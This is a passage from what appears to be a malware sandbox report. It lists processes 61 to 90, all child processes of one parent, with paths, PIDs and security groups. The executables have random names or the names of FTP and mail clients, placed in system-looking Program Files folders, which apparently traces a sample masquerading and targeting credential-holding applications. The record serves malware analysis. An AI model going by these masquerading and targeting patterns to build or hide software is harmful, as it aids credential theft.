(x86)\\MSBuild\\principle-eco.exe\" " cur_dir = "C:\\Program Files (x86)\\MSBuild\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 563 os_tid = 0x758 Process: id = "61" image_name = "apache mit pushed.exe" filename = "c:\\program files\\windows nt\\apache mit pushed.exe" page_root = "0x4f35f000" os_pid = "0x320" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "46" os_parent_pid = "0x444" cmd_line = "\"C:\\Program Files\\Windows NT\\apache mit pushed.exe\" " cur_dir = "C:\\Program Files\\Windows NT\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 564 os_tid = 0x7f4 Process: id = "62" image_name = "pizza.exe" filename = "c:\\program files\\windows defender\\pizza.exe" page_root = "0x4d372000" os_pid = "0x424" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "46" os_parent_pid = "0x444" cmd_line = "\"C:\\Program Files\\Windows Defender\\pizza.exe\" " cur_dir = "C:\\Program Files\\Windows Defender\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 565 os_tid = 0x34c Process: id = "63" image_name = "marketplace-carriers-cop.exe" filename = "c:\\program files\\internet explorer\\marketplace-carriers-cop.exe" page_root = "0x4d483000" os_pid = "0x3a4" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "46" os_parent_pid = "0x444" cmd_line = "\"C:\\Program Files\\Internet Explorer\\marketplace-carriers-cop.exe\" " cur_dir = "C:\\Program Files\\Internet Explorer\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 566 os_tid = 0x35c Process: id = "64" image_name = "priced-architect-gamespot.exe" filename = "c:\\program files (x86)\\microsoft analysis services\\priced-architect-gamespot.exe" page_root = "0x4d595000" os_pid = "0x54c" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "46" os_parent_pid = "0x444" cmd_line = "\"C:\\Program Files (x86)\\Microsoft Analysis Services\\priced-architect-gamespot.exe\" " cur_dir = "C:\\Program Files (x86)\\Microsoft Analysis Services\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 567 os_tid = 0x484 Process: id = "65" image_name = "starbuys.exe" filename = "c:\\program files\\microsoft synchronization services\\starbuys.exe" page_root = "0x4e4f4000" os_pid = "0x220" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "46" os_parent_pid = "0x444" cmd_line = "\"C:\\Program Files\\Microsoft Synchronization Services\\starbuys.exe\" " cur_dir = "C:\\Program Files\\Microsoft Synchronization Services\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 568 os_tid = 0x750 Process: id = "66" image_name = "buddysue.exe" filename = "c:\\program files\\dvd maker\\buddysue.exe" page_root = "0x4d3f3000" os_pid = "0x248" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "46" os_parent_pid = "0x444" cmd_line = "\"C:\\Program Files\\DVD Maker\\buddysue.exe\" " cur_dir = "C:\\Program Files\\DVD Maker\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 569 os_tid = 0x180 Process: id = "67" image_name = "apnic.exe" filename = "c:\\program files\\windows sidebar\\apnic.exe" page_root = "0x4de07000" os_pid = "0x80c" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "46" os_parent_pid = "0x444" cmd_line = "\"C:\\Program Files\\Windows Sidebar\\apnic.exe\" " cur_dir = "C:\\Program Files\\Windows Sidebar\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 570 os_tid = 0x810 Process: id = "68" image_name = "searched norman.exe" filename = "c:\\program files (x86)\\internet explorer\\searched norman.exe" page_root = "0x4ed1a000" os_pid = "0x81c" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "46" os_parent_pid = "0x444" cmd_line = "\"C:\\Program Files (x86)\\Internet Explorer\\searched norman.exe\" " cur_dir = "C:\\Program Files (x86)\\Internet Explorer\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 571 os_tid = 0x820 Process: id = "69" image_name = "kids-memorabilia.exe" filename = "c:\\program files\\microsoft synchronization services\\kids-memorabilia.exe" page_root = "0x4db2c000" os_pid = "0x82c" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "46" os_parent_pid = "0x444" cmd_line = "\"C:\\Program Files\\Microsoft Synchronization Services\\kids-memorabilia.exe\" " cur_dir = "C:\\Program Files\\Microsoft Synchronization Services\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 572 os_tid = 0x830 Process: id = "70" image_name = "trademarksnominationbrighton.exe" filename = "c:\\program files\\windows journal\\trademarksnominationbrighton.exe" page_root = "0x4d540000" os_pid = "0x83c" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "46" os_parent_pid = "0x444" cmd_line = "\"C:\\Program Files\\Windows Journal\\trademarksnominationbrighton.exe\" " cur_dir = "C:\\Program Files\\Windows Journal\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 573 os_tid = 0x840 Process: id = "71" image_name = "heater.exe" filename = "c:\\program files\\windows portable devices\\heater.exe" page_root = "0x4dd52000" os_pid = "0x84c" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "46" os_parent_pid = "0x444" cmd_line = "\"C:\\Program Files\\Windows Portable Devices\\heater.exe\" " cur_dir = "C:\\Program Files\\Windows Portable Devices\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 574 os_tid = 0x850 Process: id = "72" image_name = "supportinggratis.exe" filename = "c:\\program files (x86)\\microsoft analysis services\\supportinggratis.exe" page_root = "0x4d16b000" os_pid = "0x85c" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "46" os_parent_pid = "0x444" cmd_line = "\"C:\\Program Files (x86)\\Microsoft Analysis Services\\supportinggratis.exe\" " cur_dir = "C:\\Program Files (x86)\\Microsoft Analysis Services\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 575 os_tid = 0x860 Process: id = "73" image_name = "novel.exe" filename = "c:\\program files\\internet explorer\\novel.exe" page_root = "0x4c17e000" os_pid = "0x86c" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "46" os_parent_pid = "0x444" cmd_line = "\"C:\\Program Files\\Internet Explorer\\novel.exe\" " cur_dir = "C:\\Program Files\\Internet Explorer\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 576 os_tid = 0x870 Process: id = "74" image_name = "3dftp.exe" filename = "c:\\program files\\windows journal\\3dftp.exe" page_root = "0x4ab90000" os_pid = "0x880" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "46" os_parent_pid = "0x444" cmd_line = "\"C:\\Program Files\\Windows Journal\\3dftp.exe\" " cur_dir = "C:\\Program Files\\Windows Journal\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 577 os_tid = 0x884 Process: id = "75" image_name = "absolutetelnet.exe" filename = "c:\\program files\\reference assemblies\\absolutetelnet.exe" page_root = "0x4aca2000" os_pid = "0x890" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "46" os_parent_pid = "0x444" cmd_line = "\"C:\\Program Files\\Reference Assemblies\\absolutetelnet.exe\" " cur_dir = "C:\\Program Files\\Reference Assemblies\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 578 os_tid = 0x894 Process: id = "76" image_name = "alftp.exe" filename = "c:\\program files\\reference assemblies\\alftp.exe" page_root = "0x4c7b4000" os_pid = "0x8a0" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "46" os_parent_pid = "0x444" cmd_line = "\"C:\\Program Files\\Reference Assemblies\\alftp.exe\" " cur_dir = "C:\\Program Files\\Reference Assemblies\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 579 os_tid = 0x8a4 Process: id = "77" image_name = "barca.exe" filename = "c:\\program files\\windows mail\\barca.exe" page_root = "0x4b2c7000" os_pid = "0x8b0" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "46" os_parent_pid = "0x444" cmd_line = "\"C:\\Program Files\\Windows Mail\\barca.exe\" " cur_dir = "C:\\Program Files\\Windows Mail\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 580 os_tid = 0x8b4 Process: id = "78" image_name = "bitkinex.exe" filename = "c:\\program files (x86)\\internet explorer\\bitkinex.exe" page_root = "0x4b3d9000" os_pid = "0x8c0" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "46" os_parent_pid = "0x444" cmd_line = "\"C:\\Program Files (x86)\\Internet Explorer\\bitkinex.exe\" " cur_dir = "C:\\Program Files (x86)\\Internet Explorer\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 581 os_tid = 0x8c4 Process: id = "79" image_name = "coreftp.exe" filename = "c:\\program files (x86)\\microsoft.net\\coreftp.exe" page_root = "0x4c2ed000" os_pid = "0x8d0" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "46" os_parent_pid = "0x444" cmd_line = "\"C:\\Program Files (x86)\\Microsoft.NET\\coreftp.exe\" " cur_dir = "C:\\Program Files (x86)\\Microsoft.NET\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 582 os_tid = 0x8d4 Process: id = "80" image_name = "far.exe" filename = "c:\\program files\\msbuild\\far.exe" page_root = "0x4d7ff000" os_pid = "0x8e0" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "46" os_parent_pid = "0x444" cmd_line = "\"C:\\Program Files\\MSBuild\\far.exe\" " cur_dir = "C:\\Program Files\\MSBuild\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 583 os_tid = 0x8e4 Process: id = "81" image_name = "filezilla.exe" filename = "c:\\program files (x86)\\windows sidebar\\filezilla.exe" page_root = "0x4d111000" os_pid = "0x8f0" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "46" os_parent_pid = "0x444" cmd_line = "\"C:\\Program Files (x86)\\Windows Sidebar\\filezilla.exe\" " cur_dir = "C:\\Program Files (x86)\\Windows Sidebar\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 584 os_tid = 0x8f4 Process: id = "82" image_name = "flashfxp.exe" filename = "c:\\program files\\windows sidebar\\flashfxp.exe" page_root = "0x4da23000" os_pid = "0x900" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "46" os_parent_pid = "0x444" cmd_line = "\"C:\\Program Files\\Windows Sidebar\\flashfxp.exe\" " cur_dir = "C:\\Program Files\\Windows Sidebar\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 585 os_tid = 0x904 Process: id = "83" image_name = "fling.exe" filename = "c:\\program files\\windows journal\\fling.exe" page_root = "0x4e036000" os_pid = "0x910" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "46" os_parent_pid = "0x444" cmd_line = "\"C:\\Program Files\\Windows Journal\\fling.exe\" " cur_dir = "C:\\Program Files\\Windows Journal\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 586 os_tid = 0x914 Process: id = "84" image_name = "foxmailincmail.exe" filename = "c:\\program files (x86)\\adobe\\foxmailincmail.exe" page_root = "0x4cf49000" os_pid = "0x920" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "46" os_parent_pid = "0x444" cmd_line = "\"C:\\Program Files (x86)\\Adobe\\foxmailincmail.exe\" " cur_dir = "C:\\Program Files (x86)\\Adobe\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 587 os_tid = 0x924 Process: id = "85" image_name = "gmailnotifierpro.exe" filename = "c:\\program files\\windows nt\\gmailnotifierpro.exe" page_root = "0x4ce5c000" os_pid = "0x930" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "46" os_parent_pid = "0x444" cmd_line = "\"C:\\Program Files\\Windows NT\\gmailnotifierpro.exe\" " cur_dir = "C:\\Program Files\\Windows NT\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 588 os_tid = 0x934 Process: id = "86" image_name = "icq.exe" filename = "c:\\program files (x86)\\microsoft.net\\icq.exe" page_root = "0x4c06e000" os_pid = "0x940" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "46" os_parent_pid = "0x444" cmd_line = "\"C:\\Program Files (x86)\\Microsoft.NET\\icq.exe\" " cur_dir = "C:\\Program Files (x86)\\Microsoft.NET\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 589 os_tid = 0x944 Process: id = "87" image_name = "leechftp.exe" filename = "c:\\program files\\windows portable devices\\leechftp.exe" page_root = "0x4c380000" os_pid = "0x950" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "46" os_parent_pid = "0x444" cmd_line = "\"C:\\Program Files\\Windows Portable Devices\\leechftp.exe\" " cur_dir = "C:\\Program Files\\Windows Portable Devices\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 590 os_tid = 0x954 Process: id = "88" image_name = "ncftp.exe" filename = "c:\\program files\\windows media player\\ncftp.exe" page_root = "0x4ad92000" os_pid = "0x960" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "46" os_parent_pid = "0x444" cmd_line = "\"C:\\Program Files\\Windows Media Player\\ncftp.exe\" " cur_dir = "C:\\Program Files\\Windows Media Player\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 591 os_tid = 0x964 Process: id = "89" image_name = "notepad.exe" filename = "c:\\program files\\internet explorer\\notepad.exe" page_root = "0x4bfa5000" os_pid = "0x970" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "46" os_parent_pid = "0x444" cmd_line = "\"C:\\Program Files\\Internet Explorer\\notepad.exe\" " cur_dir = "C:\\Program Files\\Internet Explorer\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 592 os_tid = 0x974 Process: id = "90" image_name = "operamail.exe" filename = "c:\\program files (x86)\\windows portable devices\\operamail.exe" page_root = "0x4aeb9000" os_pid = 